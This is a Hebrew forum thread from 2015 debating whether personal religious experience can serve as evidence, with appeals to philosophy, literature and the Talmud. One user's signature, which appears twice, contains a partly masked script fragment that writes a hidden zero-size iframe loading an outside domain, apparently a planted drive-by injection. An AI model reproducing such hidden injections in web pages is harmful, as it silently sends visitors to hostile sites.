|
|
| נשלח ב-29/3/2015 21:31 |
 |
| |
איננו מסכימים בשלושה נקודות מהותיות.
1. קבלת רגש או חוויה כטיעון בויכוח.
2. הטיעון כי לגיטימי להסיק מסקנות מחוויות.
3. הצביעות בהבדלה בין הרגשות והחוויות שלך לאלו של אחרים.
1. קבלת רגש או חוויה.
רגש או חוויה הינם סובייקטיביים. משכך אין להם כל משמעות בויכוח או בדיון אובייקטיבי.
2. הטיעון כי לגיטימי להסיק מסקנות מחוויות.
כדי להסיק מסקנה מכל ראיה, היקש לוגי או כל צורה אחרת יש לשקול אותה בזהירות.
השקילה הראשונית והמהותית היא בדיקת הראיה כשלעצמה והפרכת כל האפשרויות האחרות להימצאה.
לדוגמא, דני אכל אבטיח. הראיה - דני אמר. בדיקה: האם ייתכן שדני משקר? האם ייתכן שדני אומר שאכל אבטיח אך הוא בעצמו לא יודע מה זה אבטיח?
בנידון דנן: יש אלוהים. חוויתי אותו. האם ייתכן כי חוויה זו מקורה במקום אחר, פסיכולוגי? פסיכיאטרי? סמים?
ככל שהתשובה לאחת מהתשובות הנ"ל חיובית, זו אינה ראיה.
3. צביעות.
כמעט כל המאמינים מסכימים כי החוויות של מאמינים אחרים מוטעות. משום מה הם נוטים לייחס לחוויה שלהם משמעות שונה וזאת ללא כל קריטריון מסודר.
הבה:
אנא הסבר מהו הקריטריון האובייקטיבי לבדיקת חוויה.
אנא הסבר האם לא ייתכן כי החוויה שלך מקורה ממניע זר.
 |
|
|
|
|
| נשלח ב-30/3/2015 09:00 |
|
| |
מימוני האם מחלוקת נובעת תמיד משיקולים רציונליים ברי חישוב? האם תמיד שני אנשים שהמידע שלהם שווה בדיוק יחליטו החלטה דומה? נניח שני אנשים שיש להם אותו מידע על תהליך עסקי ולשניהם אותן העדפות של רמת סיכון יחליטו בהכרח החלטה דומה? שני אנשים שיש להם מידע רלוונטי דומה יחליטו בהכרח אותה החלטה לגבי השאלה אם להאמין? חושבני שלא. יש גרעין של החלטה התלוי באישיות, באני פנימי, ועליו אין מה להתווכח [לדעתי זהו האדם! כאן מתמקדת הבחירה וכאן השוני בין אנשים] ייתכן שזהו הנימוק לאי הרצון להכנס לויכוח במקרה שציינת
|
|
|
|
| נשלח ב-30/3/2015 18:21 |
|
| |
תלמיד טועה
איקון ירוק ביותר
לעתים אני קורא דבר שנכתב כאן והוא פותח לי אפיקים חדשים.
כך הוא בדבריך.
למעשה, אלו דברים עתיקים, אבל בניסוח שלך, עבורי הם חדשים.
הגדרת זאת כל כך ברור.
ובכל זאת, על זה אני תמה. ויתכן שיש כאן הבדלי גישות, שאולי נובעים (ההבדלים) מתוך הנחות יסוד שונות לגבי מהות האדם.
גם אם יש לנו גרעין פנימי, אנו תמיד מסוגלים ומוזמנים לפתח אותו לשרשרת הנחות. זו תהיה כמובן שרשרת אינסופית או גדולה מאד, אבל עדיין ניתן למקד את הדיון בהנחות משמעותיות.
אז מדוע לא לדבר? מפני שלא אצליח לשנות את השני? מפני שאני עלול לגלות שאני טעיתי?
___שכחתי את האיקון הירוק אז תיקנתי______________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 30/03/2015 18:21:42
|
|
|
|
| נשלח ב-31/3/2015 05:06 |
|
| |
אנא הסבר מהו הקריטריון האובייקטיבי לבדיקת חוויה.
אנא הסבר האם לא ייתכן כי החוויה שלך מקורה ממניע זר.
|
|
|
|
| נשלח ב-31/3/2015 08:28 |
|
| |
כי מרמה מסויימת והלאה אי אפשר להגדיר, ק"ו לשכנע. ויתכן שהם הבינו שהגיעו לכך (אולי כ"א ידע את התשובות העתידיות של חבירו עד לנקודת ההבדל)
|
|
|
|
|
| נשלח ב-31/3/2015 15:33 |
|
| |
במטותא, בנושאים אחרים הלא רבנו המיימוני כה בהיר וברור. לו תאות לתת לו לענות.
|
|
|
|
| נשלח ב-31/3/2015 19:38 |
|
| |
אליס
לא התייחסתי לעניינך
|
|
|
|
| נשלח ב-1/4/2015 13:45 |
|
| |
אלי ס.
תודה על המלים הנעימות!
כתבת
אנא הסבר מהו הקריטריון האובייקטיבי לבדיקת חוויה.
אנא הסבר האם לא ייתכן כי החוויה שלך מקורה ממניע זר.
אם אדייק במילותיך, סבורני שאין לי מה לנסות להסביר עקב דרישות גבוהות מדי, או לא שייכות. ואסביר כמובן.
"אובייקטיבי" הוא, בשימוש לשוני בפילוסופיה ואצלי כאן ובכל מקום, הוא דבר בלתי תלוי בתודעה. לפיכך, הבקשה לקריטריון "אובייקטיבי" מבקשת דבר בלתי אפשרי, אם כי אפשר שכוונתך להראות שזה דבר בלתי אפשרי.
יש שלוש רמות של מעמד אונטולוגי ואפיסטמולוגי.
א. אובייקטיבי. מה שביקשת. בלתי תלוי בתודעה.
ב. סובייקטיבי. ההפך הגמור. תלוי רק בסובייקט.
ג. אינטר-סובייקטיבי. נמצא בשטח שפתוח לסובייקטים רבים, ולכן ניתן לדיון ביניהם.
לא אאריך לדון בשאלה אם הדברים שאנו מכירים ותכני הכרותינו הם אובייקטיביים או אינטר-סובייקטיביים. ברור שמה שאני חווה וחושב פתוח רק לי ולא לאף אחד אחר.
מדברי הרב סולוביצ'יק ניתן להציע רמה שנמצאת בין הסובייקטיבי לאינטר-סובייקטיבי. אלו הם דברים שבתודעתי אבל אני מאמין שהם משותפים גם לאחרים.
זה לא חדש. אני מניח שרבים כמוני מכירים גם את טעם הגלידה, את ריח הפריחה של האביב (נניח הדרים) ואת המגע הנעים של רוח אביבית, כפי שמכירים גם כאבי שינים ואותן תחושות שמלוות את השפעת.
אם אלך לדוגמא מעניינת, הסופר הרוסי החשוב מאד דוסטוייבסקי מתאר חוויות של אנשים מיוחדים, אבל הקורא יכול להזדהות, מבחינה מסויימת, עם הגיבור. לא נעים לחוש הזדהות עם רסקולניקוב (מי שעתיד להיות הרוצח המתלבט ובסופו של ספר גם המתחרט ב"החטא ועונשו") אבל דוסטוייבסקי מצליח להעביר את התחושות. ואולי זה רק אני שחש כך? וגם מבקרים ספרותיים? אפשר להוסיף לרשימה למשל את הארי פוטר ותחושותיו (נניח במאבקו ופחדו מן הדמנטורים בספר השלישי) אם מחפשים משהו יותר מוכר.
כפי שאפשר לתאר חויות מכל סוג, אפשר לתאר גם אותו תחום שכיניתי "חויה דתית".
דוגמא מעניינת מאד אפשר למצוא ב"שם הורד" לאומברטו אקו. כוונתי כמובן לחויה ה*** שעובר הגיבור הצעיר, שאותה הוא מסביר לעצמו במונחים שלקוחים מתיאורי חויה דתית. זה מהפך מ"שיר השירים". איני יודע מה היתה הכוונה המקורית של הספר, שרבי עקיבא קורא לו "קודש קודשים", אבל החל מחז"ל ועבור לימי הבינים מפרשים אותו כמשל, ואצל הפילוסופים זה משל על החויה הדתית (ששונה לגמרי משל הרב סולוביצ'יק). הנזיר מחפש לתאר לעצמו במונחים את מה שחוה ב***, ולכן הוא משתמש בתיאורי דבקות פילוסופיים ומיסטיים ומחזיר אותם לרובד החיים המוכר והנפוץ יותר (איני יודע באיזו מילה להשתמש כאן. SECULAR במובן של לא דתי). אקו, כסגנונו, מבצע מהפך ספרותי ופילוסופי שקסם לי כשהבחנתי בכך.
אם כן, לפנינו תיאורי חויות במונחים ששייכים למישור הסובייקטיבי (האם יש דבר יותר סובייקטיבי מאהבה?) ובכל זאת יש ציפיה שיבינו מה אני מתאר.
אז זה סוג החויות מבחינת המיון הפילוסופי האמור, כאשר אני מציע לקבוע לו דרגת בינים.
***
המונח "ייתכן" יש בו כפילות.
יש "ייתכן" שהינו אפשרות שרבים בפורום שלנו מכנים "סבירה". למשל, סביר או אפשרי שפלוני יגיע למנין הקבוע למנחה, אבל אפשר שלא.
ויש "יתכן" ברמה אחרת. היתכנות לוגית או דמיונית אבל רחוקה עד כדי כך שלא נייחס לה חשיבות מעשית. האם יש חייזרים אי שם בחלל? האם יש שדים ורוחות? מי שיסביר שאחר לעבודה כי נחטף בידי חייזרים יופנה לפסיכיאטר אם הוא רציני או יפוטר במקרה שלא. כלומר, זה "יתכן" במובן השני אבל לא במובן הראשון.
כעת, לאיזה "ייתכן" התכוונת בשאלתך?
***
המניע ה"זר"
המניע שלי אינו "זר". המניע שלי:
הוא לחוות ולשמר את זכר החויה הדתית שהיא חשובה מאד בחיי.
להעביר זאת לאחרים כי אני סבור שאני מועיל להם בהזכרת או בפתיחת עולם חויות זה עם מה שנובע, לכאורה, ממנו.
כמובן, יש תועליות פסיכולוגיות לאמונות דתיות ולחויות דתיות, ולכן ניתן לחשוד בהן. ובוודאי יתכן שאדם יוליך את עצמו שולל. ואני מודה בכך בקלות. כמובן, זה שזה "ייתכן" לא אומר שזה באמת כך...
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-1/4/2015 13:49 |
|
| |
תלמיד ט
כתבת
כי מרמה מסויימת והלאה אי אפשר להגדיר, ק"ו לשכנע. ויתכן שהם הבינו שהגיעו לכך (אולי כ"א ידע את התשובות העתידיות של חבירו עד לנקודת ההבדל)
האמנם אי אפשר לנסח במילים מה שאני חש בצורה ברורה מאד?
כבר כתבתי ואחזור שוב: נכון שלפעמים אנו מוצאים עצמנו במצב שנעתקות המילים או שמחפשים ואין. ולכן אנו זקוקים למילים חדשות. אבל תמיד אפשר ליצור מונחים על ידי שאילה של הקיים או במטאפורות (או שזה אותו דבר).
וזה בדיוק מה שאני מצפה שייעשה. שאדם יגדיר לעצמו ואחר כך יחלוק עם הזולת.
ואני מאמין שאמת המוצגת לאחרים נושאת עמה את היכולת להתקבל. לא "לשכנע" כי זה נשמע שימוש בשיטה מטעה ומנצלת, אבל הזמנה לבדיקה ולהחלטה עצמית שכן, זה נכון, זה ודאי חשוב.
אני יכול להבין מי שיגיד: עד כאן. אבל גם אז אצפה שיאמר זאת ולא בצורה של "ה' יצילנו ממך ומדעתך".
|
|
|
|
| נשלח ב-1/4/2015 13:53 |
|
| |
והנה עוד דוגמא מוזרה מן הדף היומי שלאחרונה
תלמוד בבלי מסכת כתובות דף נ עמוד ב
יתיב רב יוסף קמיה דרב המנונא, ויתיב רב המנונא וקאמר:
[ישב רב יוסף לפני רב המנונא וישב רב המנונא ואמר משפט לעיון:]
כשם שאין הבנים יורשין אלא מן הקרקע, כך אין בנות ניזונות אלא מן הקרקע.
אווש עליה כולי עלמא:
[התרגשו כולם והתפלאו:]
דשביק ארעא הוא דירתי ליה בניה, דלא שביק ארעא לא ירתי ליה בניה?
[רק מי שהותיר קרקע לירושה יורשים הבנים, ואם לא אז לא?]
אמר ליה רב יוסף: ודלמא כתובת בנין דכרין קאמר מר?
[רב יוסף מציע אוקימתא=מקרה מסויים שלא אבאר כאן. לא זה הנושא].
אמר ליה: מר דגברא רבא הוא, ידע מאי קאמינא.
[רב המנונא משבח את רב יוסף שאדם חכם ולכן הבין].
מעתה יש לשאול: מדוע רב המנונא הציג את הדברים בצורה מבלבלת, כאילו אין ירושה אלא בקרקע, כאשר כוונתו היתה לתקנה מסויימת במקרים פרטיים של חלק מירושה כללית?
יש כמה וכמה תשובות אפשריות. למשל, שרב המנונא ידע יפה מאד שדבריו מביכים, אבל הוא רצה לעורר את הענין של הלומדים, שיראו מייד את הבעייתיות ויקשו. לפי זה, אין כאן שום מקום להעיר.
אבל אם רב המנונא התכוון ללמד משהו, הכיצד מלמדים משהו שרק חכמים מסוגלים להבין? ומה עם השאר?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-1/4/2015 14:20 |
|
| |
לפעמים קשה מאוד להגדיר/להסביר מדוע אני מאמין לפלוני בעוד שחברי לא. וכפי שכתבתי, קל וחומר לשכנע. יש תחנה סופית למילים. ולפעמים צריך להסכים שזה עניין שאינו תלוי ב"עיבוד נתונים" אנושי (כי במה שתלוי בו אין מקום למחלוקת מושכל. יש רק צד אחד). הסגנון של "רחמנא ליצלן" - כל אחד וסגנונו
|
|
|
|
| נשלח ב-1/4/2015 16:40 |
|
| |
| מיימוני כתב: |  |
אני יכול להבין מי שיגיד: עד כאן. אבל גם אז אצפה שיאמר זאת ולא בצורה של "ה' יצילנו ממך ומדעתך".
|
|
מיימוני ,האם חז"ל מפתיעים אותך כל פעם מחדש בהתנהגותם או בדבריהם? נותר רק לגחך על תמונת העולם הנאיבית שאתה מצייר לעצמך .
"תלמידי בית שמאי עמדו להן מלמטה והיו הורגין בתלמידי בית הלל"
|
|
|
|
| נשלח ב-1/4/2015 16:43 |
|
| |
| מיימוני כתב: | | אלי ס.
אנא הסבר מהו הקריטריון האובייקטיבי לבדיקת חוויה.
אנא הסבר האם לא ייתכן כי החוויה שלך מקורה ממניע זר.
אם אדייק במילותיך, סבורני שאין לי מה לנסות להסביר עקב דרישות גבוהות מדי, או לא שייכות. ואסביר כמובן.
"אובייקטיבי" הוא, בשימוש לשוני בפילוסופיה ואצלי כאן ובכל מקום, הוא דבר בלתי תלוי בתודעה. לפיכך, הבקשה לקריטריון "אובייקטיבי" מבקשת דבר בלתי אפשרי, אם כי אפשר שכוונתך להראות שזה דבר בלתי אפשרי.
אובייקטיבי הוא דבר שאינו תלוי בסובייקט הבוחן אותו. בשימוש לשוני אובייקטיבי הינו דבר אשר הגדרותיו יחולו כלפיי כל ולא תוך כדי הנחת המבוקש.
בנידון דנן ביקשתי שתגדיר קריטריון לבדיקת חוויה. מאחר ואתה מתקשה לקבל את המילה אובייקטיבי, אשמח לקבל הגדרה כלשהי. מהו הקריטריון לבדיקת חוויות?
יש שלוש רמות של מעמד אונטולוגי ואפיסטמולוגי.
א. אובייקטיבי. מה שביקשת. בלתי תלוי בתודעה.
ב. סובייקטיבי. ההפך הגמור. תלוי רק בסובייקט.
ג. אינטר-סובייקטיבי. נמצא בשטח שפתוח לסובייקטים רבים, ולכן ניתן לדיון ביניהם.
לא אאריך לדון בשאלה אם הדברים שאנו מכירים ותכני הכרותינו הם אובייקטיביים או אינטר-סובייקטיביים. ברור שמה שאני חווה וחושב פתוח רק לי ולא לאף אחד אחר.
מדברי הרב סולוביצ'יק ניתן להציע רמה שנמצאת בין הסובייקטיבי לאינטר-סובייקטיבי. אלו הם דברים שבתודעתי אבל אני מאמין שהם משותפים גם לאחרים.
מה הערך בזה שחוויות משותפות לך ולאחרים. מה הופך חוויות לאמיתות?
זה לא חדש. אני מניח שרבים כמוני מכירים גם את טעם הגלידה, את ריח הפריחה של האביב (נניח הדרים) ואת המגע הנעים של רוח אביבית, כפי שמכירים גם כאבי שינים ואותן תחושות שמלוות את השפעת.
אכן. הם לא טוענים כי בגלל חווית טעם הגלידה הם נחשפו לאמת אבסולוטית. אדרבא, ההשוואה לגלידה במקומה. אותה "חוויה" שלך, מקורה בסוג אחר של הפרשת כימיכלים. מה בכך??
אם אלך לדוגמא מעניינת, הסופר הרוסי החשוב מאד דוסטוייבסקי מתאר חוויות של אנשים מיוחדים, אבל הקורא יכול להזדהות, מבחינה מסויימת, עם הגיבור. לא נעים לחוש הזדהות עם רסקולניקוב (מי שעתיד להיות הרוצח המתלבט ובסופו של ספר גם המתחרט ב"החטא ועונשו") אבל דוסטוייבסקי מצליח להעביר את התחושות. ואולי זה רק אני שחש כך? וגם מבקרים ספרותיים? אפשר להוסיף לרשימה למשל את הארי פוטר ותחושותיו (נניח במאבקו ופחדו מן הדמנטורים בספר השלישי) אם מחפשים משהו יותר מוכר.
כפי שאפשר לתאר חויות מכל סוג, אפשר לתאר גם אותו תחום שכיניתי "חויה דתית".
דוגמא מעניינת מאד אפשר למצוא ב"שם הורד" לאומברטו אקו. כוונתי כמובן לחויה ה*** שעובר הגיבור הצעיר, שאותה הוא מסביר לעצמו במונחים שלקוחים מתיאורי חויה דתית. זה מהפך מ"שיר השירים". איני יודע מה היתה הכוונה המקורית של הספר, שרבי עקיבא קורא לו "קודש קודשים", אבל החל מחז"ל ועבור לימי הבינים מפרשים אותו כמשל, ואצל הפילוסופים זה משל על החויה הדתית (ששונה לגמרי משל הרב סולוביצ'יק). הנזיר מחפש לתאר לעצמו במונחים את מה שחוה ב***, ולכן הוא משתמש בתיאורי דבקות פילוסופיים ומיסטיים ומחזיר אותם לרובד החיים המוכר והנפוץ יותר (איני יודע באיזו מילה להשתמש כאן. SECULAR במובן של לא דתי). אקו, כסגנונו, מבצע מהפך ספרותי ופילוסופי שקסם לי כשהבחנתי בכך.
אם כן, לפנינו תיאורי חויות במונחים ששייכים למישור הסובייקטיבי (האם יש דבר יותר סובייקטיבי מאהבה?) ובכל זאת יש ציפיה שיבינו מה אני מתאר.
אז זה סוג החויות מבחינת המיון הפילוסופי האמור, כאשר אני מציע לקבוע לו דרגת בינים.
***
המונח "ייתכן" יש בו כפילות.
יש "ייתכן" שהינו אפשרות שרבים בפורום שלנו מכנים "סבירה". למשל, סביר או אפשרי שפלוני יגיע למנין הקבוע למנחה, אבל אפשר שלא.
ויש "יתכן" ברמה אחרת. היתכנות לוגית או דמיונית אבל רחוקה עד כדי כך שלא נייחס לה חשיבות מעשית. האם יש חייזרים אי שם בחלל? האם יש שדים ורוחות? מי שיסביר שאחר לעבודה כי נחטף בידי חייזרים יופנה לפסיכיאטר אם הוא רציני או יפוטר במקרה שלא. כלומר, זה "יתכן" במובן השני אבל לא במובן הראשון.
כעת, לאיזה "ייתכן" התכוונת בשאלתך?
***
המניע ה"זר"
המניע שלי אינו "זר". המניע שלי:
הוא לחוות ולשמר את זכר החויה הדתית שהיא חשובה מאד בחיי.
להעביר זאת לאחרים כי אני סבור שאני מועיל להם בהזכרת או בפתיחת עולם חויות זה עם מה שנובע, לכאורה, ממנו.
כמובן, יש תועליות פסיכולוגיות לאמונות דתיות ולחויות דתיות, ולכן ניתן לחשוד בהן. ובוודאי יתכן שאדם יוליך את עצמו שולל. ואני מודה בכך בקלות. כמובן, זה שזה "ייתכן" לא אומר שזה באמת כך...
בכל הפוסט לא ענית כלל לשאלתי... במכוון??
אתה חווה חוויה X. לו נניח שהיא משותפת לעוד שנים עשר מליון איש. מאחר ומוסכם כי החוויה יכולה לנבוע ממניעים פסיכולוגיים / פסיכיאטריים / כימיכליים או אחרים, הכיצד יכול עצם קיומה של החוויה להוות בעינך ראיה לאמיתות מה שעומד מאחוריה?
בעינך. וקל וחומר בעיני אחרים. _________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
|
|
|
|
|
| נשלח ב-1/4/2015 18:48 |
|
| |
ולשם תוספת הבהרה הבה נעשה זאת שלב שלב. נא התייחס רק לנשאל.
אתה אוכל גלידה, בחוויה שלך היא קרה. מכאן אתה מסיק שהגלידה הייתה בטמפרטורה -2C.
ככל שמוסכם שייתכן והחוויה שלך נובעת לא מקור הגלידה אלא מחום הלשון שלך אין לך אפשרות לדעת מה טמפרטורת הגלידה בלי נתונים חיצוניים נוספים.
עד כאן מוסכם?
|
|
|
|
| נשלח ב-1/4/2015 19:21 |
|
| |
אם אפשר להתערב, אני יכול לדעת בואופן אובייקטיבי שהגלידה קרה מהלשון שלי ב35 מעלות.
|
|
|
|
|
